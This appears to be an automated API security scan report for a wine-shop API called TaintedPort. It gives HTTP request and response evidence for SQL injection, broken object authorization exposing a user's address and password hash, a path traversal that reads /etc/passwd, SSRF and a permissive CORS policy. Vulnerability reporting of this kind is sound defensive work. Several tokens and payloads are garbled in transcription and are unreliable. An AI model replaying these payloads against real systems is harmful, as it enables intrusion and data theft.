



snyk
API & Web

SECURITY REPORT

TaintedPort API - <https://api.taintedport.com>

Report generated on Sep. 4, 2026 at 16:45 UTC

Summary

This section contains the scan summary

TARGET https://api.taintedport.com	Report generated on Sep. 4, 2026 at 16:45 UTC
------------------------------------	---

STARTED	ENDED	DURATION	SCAN PROFILE
Sep. 2, 2026, 17:48 UTC	Sep. 3, 2026, 07:24 UTC	13 hours, 35 minutes	API Normal

NUMBER OF FINDINGS

	CURRENT SCAN	FROM LAST SCAN	PENDING FIX
CRITICAL	3	–	3
HIGH	2	–	2
MEDIUM	2	–	2
LOW	5	–	5

TOP 5

SQL Injection	2
HSTS header not enforced	1
Browser content sniffing allowed	1
Referrer policy not defined	1
Deprecated TLS protocol version 1.0 supported	1

Settings

This section contains the summary of settings that were used during this scan

✓ **SCAN PROFILE**

API Normal

Tests for all supported vulnerabilities. It's the recommended scanning profile since it offers the best quality/time ratio.

Technical Summary

The following table summarizes the findings, ordered by their severity

#	SEVERITY		VULNERABILITY	STATE
8	CRITICAL	NEW	SQL Injection https://api.taintedport.com/wines/22	NOT FIXED
7	CRITICAL	NEW	SQL Injection https://api.taintedport.com/wines/3073/reviews3073	NOT FIXED
12	CRITICAL	NEW	Broken Object Level Authorization https://api.taintedport.com/orders/2	NOT FIXED
9	HIGH	NEW	Path traversal https://api.taintedport.com/wines/import-urlurl	NOT FIXED
10	HIGH	NEW	Cross Origin Resource Sharing: Arbitrary Origin Trusted https://api.taintedport.com/cart	NOT FIXED
11	MEDIUM	NEW	Server-side request forgery https://api.taintedport.com/wines/import-urlurl	NOT FIXED
1	MEDIUM	NEW	HSTS header not enforced https://api.taintedport.com/cart	NOT FIXED
6	LOW	NEW	Weak cipher suites enabled https://api.taintedport.com/cart	NOT FIXED
3	LOW	NEW	Referrer policy not defined https://api.taintedport.com/cart	NOT FIXED
5	LOW	NEW	Deprecated TLS protocol version 1.1 supported https://api.taintedport.com/cart	NOT FIXED
4	LOW	NEW	Deprecated TLS protocol version 1.0 supported https://api.taintedport.com/cart	NOT FIXED
2	LOW	NEW	Browser content sniffing allowed https://api.taintedport.com/cart	NOT FIXED

Exhaustive Test List

The following pages contain the list of vulnerabilities we tested in this scan, taking into consideration the chosen profile

- Reflected cross-site scripting
- Cookie without HttpOnly flag
- Open redirection
- SQL Injection
- Missing cross-site request forgery protection
- Stored cross-site scripting
- Insecure crossdomain.xml policy
- SSL cookie without Secure flag
- HTTP TRACE method enabled
- Directory Listing
- ASP.NET tracing enabled
- Path traversal
- Remote File Inclusion
- ASP.NET ViewState without MAC
- Session Token in URL
- Application error message
- Private IP addresses disclosed
- OS command injection
- XML external entity injection
- ASP.NET debugging enabled
- Insecure Silverlight clientaccesspolicy.xml policy
- PHP code injection
- Server-side JavaScript injection
- Ruby code injection
- Python code injection
- Server-side template injection
- Unencrypted communications
- HSTS header not enforced
- Mixed content
- Cross Origin Resource Sharing: Arbitrary Origin Trusted
- Certificate with insufficient key size or usage, or insecure signature algorithm
- Expired TLS certificate
- Insecure SSL protocol version 3 supported
- Deprecated TLS protocol version 1.0 supported
- Deprecated TLS protocol version 1.1 supported
- Secure TLS protocol version 1.2 not supported
- Weak cipher suites enabled
- Server Cipher Order not configured
- Untrusted TLS certificate
- Heartbleed
- Secure Renegotiation is not supported
- TLS Downgrade attack prevention not supported
- Certificate without revocation information
- Full path disclosure
- Log file disclosure
- HSTS header set in HTTP

- HSTS header with low duration and no subdomain protection
- HSTS header with low duration
- HSTS header does not protect subdomains
- Inclusion of cryptocurrency mining script
- Insecure SSL protocol version 2 supported
- Browser content sniffing allowed
- Referrer policy not defined
- Insecure referrer policy
- Potential DoS on TLS Client Renegotiation
- JQuery library with known vulnerabilities
- AngularJS library with known vulnerabilities
- Bootstrap library with known vulnerabilities
- JQuery Mobile library with known vulnerabilities
- JQuery Migrate library with known vulnerabilities
- TLS certificate about to expire
- Moment.js library with known vulnerabilities
- Prototype library with known vulnerabilities
- React library with known vulnerabilities
- SWFObject library with known vulnerabilities
- TinyMCE library with known vulnerabilities
- Backbone library with known vulnerabilities
- Mustache library with known vulnerabilities
- Handlebars library with known vulnerabilities
- Dojo library with known vulnerabilities
- jPlayer library with known vulnerabilities
- CKEditor library with known vulnerabilities
- DWR library with known vulnerabilities
- Flowplayer library with known vulnerabilities
- DOMPurify library with known vulnerabilities
- Plupload library with known vulnerabilities
- easyXDM library with known vulnerabilities
- Ember library with known vulnerabilities
- YUI library with known vulnerabilities
- Sessvars library with known vulnerabilities
- prettyPhoto library with known vulnerabilities
- jQuery UI library with known vulnerabilities
- Invalid referrer policy
- Insecure PHP Object deserialization
- GraphQL Introspection enabled
- Log4Shell
- Vue.js library with known vulnerabilities
- Spring Cloud SPEL Code Injection (CVE-2022-22963)
- Spring4Shell
- Knockout library with known vulnerabilities
- Weak JWT HMAC secret
- JWT accepting none algorithm
- JWT signature is not being verified
- Using jwk parameter to verify JWTs
- JWT algorithm confusion
- MongoDB Injection
- Next.js library with known vulnerabilities
- Underscore.js library with known vulnerabilities
- Chart.js library with known vulnerabilities
- JSZip library with known vulnerabilities

- GraphQL Misconfiguration
- Hidden file found
- Svelte library with known vulnerabilities
- Axios library with known vulnerabilities
- Cookie with SameSite attribute set to None
- Server-side request forgery
- CRLF injection
- Froala library with known vulnerabilities
- Highcharts library with known vulnerabilities
- Supply Chain Compromise
- PDF.js library with known vulnerabilities
- Lodash library with known vulnerabilities
- Select2 library with known vulnerabilities
- UAParser.js library with known vulnerabilities
- MathJax library with known vulnerabilities
- JQuery Validation library with known vulnerabilities
- Ext JS library with known vulnerabilities
- jQuery File Upload library with known vulnerabilities
- React2Shell
- markdown-it library with known vulnerabilities
- highlight.js library with known vulnerabilities
- Broken Object Level Authorization

Detailed Finding Descriptions

This section contains the findings in more detail, ordered by severity

# 8	SQL Injection	
CRITICAL	CVSS SCORE 8.5	CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
METHOD	PATH	URL PATH
GET	https://api.taintedport.com/wines/2	2
DESCRIPTION		
SQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the attacker might be able to access, modify or even destroy data from the database. Since databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to users data leakage or loss, or even full control of the web application or database server.		
EVIDENCE		
As evidence that is possible to take advantage of this vulnerability, we have extracted the following data from the database engine: DBMS: SQLite Tables: cart_items, order_items, orders, reviews, sqlite_sequence, users, wines		
REQUEST		
<pre>GET /wines/4-2 HTTP/1.1 host: api.taintedport.com accept-encoding: gzip, deflate Connection: keep-alive Accept: application/json, text/*, */* User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36 ProbelySPDR/0.2.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFpbCI6ImphbmVAZXhhbXBsZS5jb20iLCJpc19hZG1pbSI6I6ZmFsc2UsImVhdCMTc4ODQwMjIyO0CwiZlSmdFVkfB34d9GlxGE7urHGaiF_G2VKwzoo5iHCBQw</pre>		
RESPONSE		
<pre>HTTP/1.1 200 OK Date: Thu, 03 Sep 2026 02:26:05 GMT Content-Type: application/json Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} X-Powered-By: PHP/8.2.33 Access-Control-Allow-Origin:</pre>		

Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=KSoEB8HIyxDTWJoJHvKD3VJJnpnwLSAwnL%2BUKs66L650JFdkq14v4HDNYAFjtzGGeLEUIiqDWji9CzqDpUHH%2BNtZKn0UvuzLoXTlPXzUuE7Lim42yAA0zG0eCYflgGeEXGL9SvTB"}]}}
Content-Encoding: gzip
CF-RAY: a3514ec18afb74e8-IAD
alt-svc: h3=":443"; ma=86400
content-length: 468
{
 "success": true,
 "wine": {
 "id": 2,
 "name": "P\u00e9ra-Manca Branco",
 "region": "Alentejo",
 "type": "White",
 "vintage": 2019,
 "price": 890,
 "image_url": "\/images\/wines\/pera-manca-branco.jpg",
 "description": "An iconic Portuguese white wine from the Alentejo region. Complex aromas of tropical fruits, white flowers, and honey. Rich, full-bodied palate with exceptional balance and a remarkably long finish. One of Portugal's most prestigious white wines.",
 "description_short": "Iconic premium Alentejo white wine",
 "gr..."
 }
}

SQL Injection

CRITICAL

CVSS SCORE

8.5

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

METHOD	PATH	URL PATH
GET	https://api.taintedport.com/wines/3073/reviews	3073

DESCRIPTION

SQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the attacker might be able to access, modify or even destroy data from the database.

Since databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to users data leakage or loss, or even full control of the web application or database server.

EVIDENCE

As evidence that it is possible to take advantage of this vulnerability, we have extracted the following data from the database engine:

DBMS: SQLite

Tables: cart items, order items, orders, reviews, sqlite sequence, users, wines

REQUEST

```
GET /wines/3073%20R%20I=1/reviews HTTP/1.1
host: api.taintedport.com
accept-encoding: gzip, deflate
Connection: keep-alive
Accept: application/json, text/*, */*
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbablySPDR/0.2.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFPbCI6ImphbmVAZXMhbXBsZS5jb20iLCJpc19hZG1pbii6ZmFsc2UsImhhdCI6MTc4ODQ0QWmJiY0CwiZGZlIjoxNzQ5MDA3MDI4fQ.1SmdFVkfB34d9GL XGE7urHGaIF G2Vkwzoo5iHC80w
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Thu, 03 Sep 2026 02:26:01 GMT
Content-Type: application/json
Connection: keep-alive
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
X-Powered-By: PHP/8.2.33
Access-Control-Allow-Origin:
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tZsxDPzizUOW0vm83vNyB%2BgGch0%2Fxtvm%2FLLhxbo%2Bq165a57C2vtMALpLrbd7L2uwphYV5H6bY0u4k44PKgMv6K%2Bem84WW69g2NCT8uGeYgKbILd4Y1D9rv7Y14zpNDMCT887o1pL"}]}
```

```
Content-Encoding: gzip
CF-RAY: a3514ea6c88ae61d-IAD
alt-svc: h3=":443"; ma=86400
content-length: 2433
{"success":true,"reviews":[{"id":1,"rating":5,"comment":"Absolutely magnificent!
The Touriga Nacional shines through with dark fruit and spice. One of the best
Douro reds I have ever tasted.","created_at":"2026-09-03
00:00:04","user_name":"Joe Silva"},{"id":2,"rating":4,"comment":"Very refreshing
and perfect for summer. Great value Vinho Verde with nice citrus
notes.","created_at":"2026-09-03 00:00:04","user_name":"Joe
Silva"},{"id":3,"rating":5,"comment":"Worth every penny. A once-in-a-lifetime
...

```

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

```
GET /orders/2 HTTP/1.1
host: api.taintedport.com
accept-encoding: gzip, deflate
Connection: keep-alive
Accept: application/json, text/*, */*
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbelySPDR/0.2.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFPbC16ImphbmVhZlZhbXBlb20iLCJpc19hZG1ib20iLCJmFsc2UsImhhdCI6MTc4ODAwMjIvOwCiwz
```

XhwIjoxNzg5MDA3MDI4fQ.lSmdFVkfB34d9G_l_XGE7urHGaiF_G2VKwzoo5iHCBQw
content-length: 0

RESPONSE

HTTP/1.1 200 OK
Date: Thu, 03 Sep 2026 02:39:34 GMT
Content-Type: application/json
Connection: keep-alive
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
X-Powered-By: PHP/8.2.33
Access-Control-Allow-Origin:
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=HKTWec%2F%2FwA4D6SszDoqSJ4lZij9DKLzATtnzSq4RaYmZzqz7a%2B13c8ueRfhplfZvnPQ2t2o6jVCqUNA0iqnJ0xKt0esh%2BIIxNrdLBP3VB8GXXr%2FajLFiIkf4x4mQX2wddUEv07g"}]}}
Content-Encoding: gzip
CF-RAY: a351627db84e265c-IAD
alt-svc: h3=":443"; ma=86400
content-length: 464
{"success":true,"order":{"id":2,"user_id":1,"total":178,"status":"shipped","shipping_name":"Joe Silva","shipping_street":"Rua das Flores 42","shipping_city":"Lisboa","shipping_postal_code":"1200-195","shipping_phone":"+351 912 345 678","delivery_notes":"","created_at":"2026-09-03 00:00:04","owner_name":"Joe Silva","owner_email":"joe@example.com","owner_password_hash":"\$2y\$10\$QRGLMuis6HFBz808znDxt0kSNwVgKt10HCCbkndI44bK09n9vZ5B0","owner_totp_secret":null,"owner_is_admin":0,"items":[{"id":3,"order_...

Path traversal

HIGH

CVSS SCORE

6.5

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

METHOD	PATH	JSON PARAMETER
POST	https://api.taintedport.com/wines/import-url	url

DESCRIPTION

A path traversal vulnerability occurs when the application places user input in filesystem operations without proper care. The attacker explores this vulnerability, typically, with various sequences of dot-dot-slash (../) characters that change the file being read or written to one of his choice, possibly even outside of the root folder of the application. Other possibility is for the attacker to use absolute paths.

Typically, the successful exploration of these vulnerabilities has a very high impact since the attacker is able to access sensitive files from the application, either configuration files or source-code files. Depending on the vulnerability, the attacker may be able to read most files on the server.

This attack is also frequently referred to as Directory Traversal.

EVIDENCE

By sending the payload `/etc/passwd`

It was possible to extract the contents of the file `/etc/passwd`:

```
root:x:0:0
```

REQUEST

```
POST /wines/import-url HTTP/1.1
host: api.taintedport.com
accept-encoding: gzip, deflate
Connection: keep-alive
Accept: application/json, text/*, */*
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbablySPDR/0.2.0
content-length: 22
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFnbiC6ImphbmVAZXhhbXBsZS5jb20iLCJpcjE5hZGlpbii6ZmFsc2UsImldhdCf6MTc4ODQ0MjIyOwCiWiXhwIjoXNzg5MDA3MDI4fQ.lSmDFvKfb34d9GL_XGE7urHGAI_F_2VKwzoo5iHCBOw
{"url": "/etc/passwd"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Thu, 03 Sep 2026 02:31:08 GMT
Content-Type: application/json
Connection: keep-alive
Server: cloudflare
Nel: {"report_to": "cf-nel", "success_fraction": 0.0, "max_age": 604800}
X-Powered-By: PHP/8.2.33
Access-Control-Allow-Origin:
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group": "cf-nel", "max_age": 604800, "endpoints": [{"url": "https://a.nel"}]}
```

.cloudflare.com/report/v4?s=Jyc3jhiD3S03jMF25aHdrjVxHQWfj0jbKekeNrQ08HLMX3GvGgnM
1gZuNG7I6dRxYykM%2FUZZJMSuCd6YJS0MgXscpBnMPLPsagDyhZzz9mLV3UNme60tz%2F9oNwm08X3X
7EKIx0NY"}}}
Content-Encoding: gzip
CF-RAY: a35156234f26c989-IAD
alt-svc: h3=":443"; ma=86400
content-length: 441
{"success":true,"message":"Content fetched but is not valid JSON wine data.","ra
w_content":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologi
n\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/s
bin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin
:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/
mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:
10:14:uucp:/var/spo...

Cross Origin Resource Sharing: Arbitrary Origin Trusted

HIGH

CVSS SCORE

5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

METHOD

PATH

```
GET https://api.taintedport.com/cart
```

DESCRIPTION

An HTML5 Cross-Origin Resource Sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged-in user.

The aforementioned impact is exploitable because the site specifies the header `Access-Control-Allow-Credentials: true` and allows any arbitrary origin to bypass same-origin policy as can be seen in the response header `Access-Control-Allow-Origin`.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.

EVIDENCE

We requested the resource from an arbitrary origin, using the following request header:

origin: <https://FB4qxPR9.com>

and the application allowed it, by replying with the following response headers:

Content-Type: application/json

```
access-control-allow-origin: https://FB4gxPR9.com
```

```
Access-Control-Allow-Credentials: true
```

REQUEST

```
GET /cart HTTP/1.1
host: api.taintedport.com
accept-encoding: gzip, deflate
Connection: keep-alive
Accept: application/json, text/*, */*
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbelySPDR/0.2.0
origin: https://FB4gxPR9.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbiWFpbCI6ImphbmVhZXBhbXBSc2S5bjB0iLCJpc19hZG1pbSI6I2ZmFsc2UsImhhdCI6MTc4ODQwMjIyOiwiaWF0IjoxNzQ5MDA3MDI4fQ.lSmdFVkfB34d9GL XGE7urHGaIF G2VKwzoo5iHCBQw
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Thu, 03 Sep 2026 02:25:14 GMT
Content-Type: application/json
```

Connection: keep-alive
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
X-Powered-By: PHP/8.2.33
Access-Control-Allow-Origin: https://FB4gxPR9.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2BAUPdUaaUiKkmNiSZR0SqbzrMMRod0HOLg7HgUCk3ZbxrwE65rjUIKv8ootCwglrhHZJIYj7DfJufyDDHvp63QRuNEusDPDVE0bJWScxabcq%2FrAjA0BYYAYB%2F5q2yi%2FMTBQMRaqaz"}]}}
Content-Encoding: gzip
CF-RAY: a3514d80887881e5-IAD
alt-svc: h3=":443"; ma=86400
content-length: 55
{"success":true,"items":[],"total":0}

11

Server-side request forgery

MEDIUM

CVSS SCORE

4.2

CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

METHOD	PATH	JSON PARAMETER
GET	https://api.taintedport.com/wines/import-url	url

DESCRIPTION

In a Server-side request forgery (SSRF) attack, the attacker tricks the vulnerable application into sending a custom request to an internal application. The attacker might be able to exfiltrate information by making requests to internal applications that otherwise would be out of reach from the attacker. This attack can also be used to trigger actions on those applications, bypassing the restriction of only being available internally.

We injected a URL pointing to our server and recorded a request from your application. This means an attacker can force your application to perform arbitrary requests to malicious servers.

Received request:

```
GET http://6tayczlljhxpk9ielxkcuwf3vjebunao0.szipus.prbly.win/ HTTP/1.1
```

The request originated from IP 54.83.241.98

```
POST /wines/import-url HTTP/1.1
host: api.taintedport.com
accept-encoding: gzip, deflate
Connection: keep-alive
Accept: application/json, text/*, */*
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbelySPDR/0.2.0
content-length: 67
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFnbiCI6ImphbmVAZXhhbXBZS5jb20iLCJpc19hZG1pbSI6ZWZsc2UsImVhdCki6MTc4ODQwMjIyOiwiaWF0IjE5MDYxNzg5MDA3MDI1fQ.1SmDFvkfB34d9GL_XGE7urHGaIF_G2VKwzoo5iHCBQw
{"url": "http://6tayczlljhxpki9ielxkcuwf3vjebunao0.szipus.prbly.win"}
```

```
HTTP/1.1 200 OK
Date: Thu, 03 Sep 2026 02:31:14 GMT
Content-Type: application/json
Connection: keep-alive
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
X-Powered-By: PHP/8.2.33
Access-Control-Allow-Origin:
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2HANXAxqChs1G17mQ0nnD3vltfZq%2FjqQ0GT0MXvVLzxBz8Np4xrCSHJsqm90NfA040vUIG6Vd4A8pXUecR336%2BCbNhyHvPt%2Bvk3CsPwXgKL4rPqLcthn3t6DQwnrImfQ6I0cw0r9"}]}}
```

Content-Encoding: gzip
CF-RAY: a3515648cf5c2d1d-IAD
alt-svc: h3=":443"; ma=86400
content-length: 210
{
 "success": true,
 "message": "Content fetched but is not valid JSON wine data.",
 "raw_content": "<html><head></head><body>0oanubejv3fwuckxlei9kpxhj1lzcyat6</body></html>",
 "url": "http://6tayczl1jhxp9ie1xkcwvf3vjebunao0.szipus.prbly.win"}
}

1

HSTS header not enforced

MEDIUM

CVSS SCORE

4.2

CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

METHOD

PATH

GET

https://api.taintedport.com/cart

DESCRIPTION

The application does not force users to connect over an encrypted channel, i.e. over HTTPS. If the user types the site address in the browser without starting with *https*, it will connect to it over an insecure channel, even if there is a redirect to HTTPS later. Even if the user types *https*, there may be links to the site in HTTP, forcing the user to navigate insecurely. An attacker that is able to intercept traffic between the victim and the site or spoof the site's address can prevent the user from ever connecting to it over an encrypted channel. This way, the attacker is able to eavesdrop all communications between the victim and the server, including the victim's credentials, session cookie and other sensitive information.

EVIDENCE

Response headers, missing the Strict-Transport-Security header:

```
HTTP/2 200 OK
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
x-powered-by: PHP/8.2.33
access-control-allow-origin:
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization
access-control-allow-credentials: true
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oXvHmp%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZKxS%2BFEnEBL6REntBjwy0iGZk%2FK%2BqomR9TWzFfFCosgFYh0hDntmztaDXX4TzZRazs0U2x4%2B0haxB0lPU%2Fw8E6eulKBrJYHoPWYUrq"}]}}
content-encoding: br
cf-ray: a34e5cd39a34dfe4-MIA
alt-svc: h3=":443"; ma=86400
```

REQUEST

```
GET /cart HTTP/2
host: api.taintedport.com
accept-encoding: gzip, deflate, br
connection: keep-alive
accept: application/json, text/*, */*
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbelySPDR/0.2.0
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDQyLWJlbnVWpCI6ImphbmVhZGhhbXBsZS5jb20iLCJpc19hZG1pbiI6ZmFsc2UsImhhdCI6MTc4ODM3MTQ4MiwiaXNjaXhwIjoxNzg4OTc2MjgzfQ.0hb1txD6YlchdyLRQT0DpdLNFEkUMYd3FGpAC6wK1hk
```

RESPONSE

```
HTTP/2 200 OK
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
x-powered-by: PHP/8.2.33
```

```
access-control-allow-origin:  
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS  
access-control-allow-headers: Content-Type, Authorization  
access-control-allow-credentials: true  
cf-cache-status: DYNAMIC  
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel  
.cloudflare.com/report/v4?s=oXvHmp%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZKxS%2BFenebL6  
REntBjwy0iGZk%2FK%2BqomR9TWzFfFCosgFYh0hDntmztaDXX4TzZRazs0U2x4%2B0haxB0lPU%2Fw8  
E6eulkBrJYHoPWYUrq"}]}}  
content-encoding: br  
cf-ray: a34e5cd39a34dfe4-MIA  
alt-svc: h3=":443"; ma=86400  
{"success":true,"items":[],"total":0}
```

6

Weak cipher suites enabled

LOW

CVSS SCORE

4.2

CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

PATH

<https://api.taintedport.com/cart>

DESCRIPTION

The server supports weak cipher suites for SSL/TLS connections. These cipher suites are currently considered broken and, depending on the specific cipher suite, offer poor or no security at all. Thus defeating the purpose of using a secure communication channel in the first place.

Any connection to the server using a weak cipher suite is at risk of being eavesdropped and tampered with by an attacker that can intercept connections. This is more likely to occur to Wi-Fi clients.

Depending on the cipher suites used, a connection may be at an immediate risk of being intercepted.

The following issues need to be addressed:

- CBC ciphers enabled. Potentially vulnerable to padding oracle attacks

EVIDENCE

The following weak ciphers are enabled:

- TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
- TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
- TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
- TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384

3

Referrer policy not defined

LOW

3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

METHOD	PATH
GET	https://api.taintedport.com/cart

DESCRIPTION

The application does not prevent browsers from sending sensitive information to third party sites in the **referer** header.

Without a referrer policy, every time a user clicks a link that takes him to another origin (domain), the browser will add a **referrer** header with the URL from which he is coming from. That URL may contain sensitive information, such as password recovery tokens or personal information, and it will be visible that other origin. For instance, if the user is at `example.com/password_recovery?unique_token=14f748d89d` and clicks a link to `example-analytics.com`, that origin will receive the complete password recovery URL in the headers and might be able to set the users password. The same happens for requests made automatically by the application, such as XHR ones.

Applications should set a secure referrer policy that prevents sensitive data from being sent to third party sites.

EVIDENCE

Response headers, missing the Referrer-Policy header:

```
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
x-powered-by: PHP/8.2.33
access-control-allow-origin:
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization
access-control-allow-credentials: true
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oXvHm
p%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZKxS%2BFenebL6REntBjwy0iGZk%2FK%2BqomR9TWzfFfCosgFYh0hDntmztzDXX4TzZRaZs0U2x4%2B
0haxB0LPu%2Fw8E6eulKBrJYHoPYUrq"}]}}
content-encoding: br
cf-ray: a34e5cd39a34df4-MIA
alt-svc: h3=":443"; ma=86400
```

REQUEST

```
GET /cart HTTP/2
host: api.taintedport.com
accept-encoding: gzip, deflate, br
connection: keep-alive
accept: application/json, text/*, */*
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbablySPDR/0.2.0
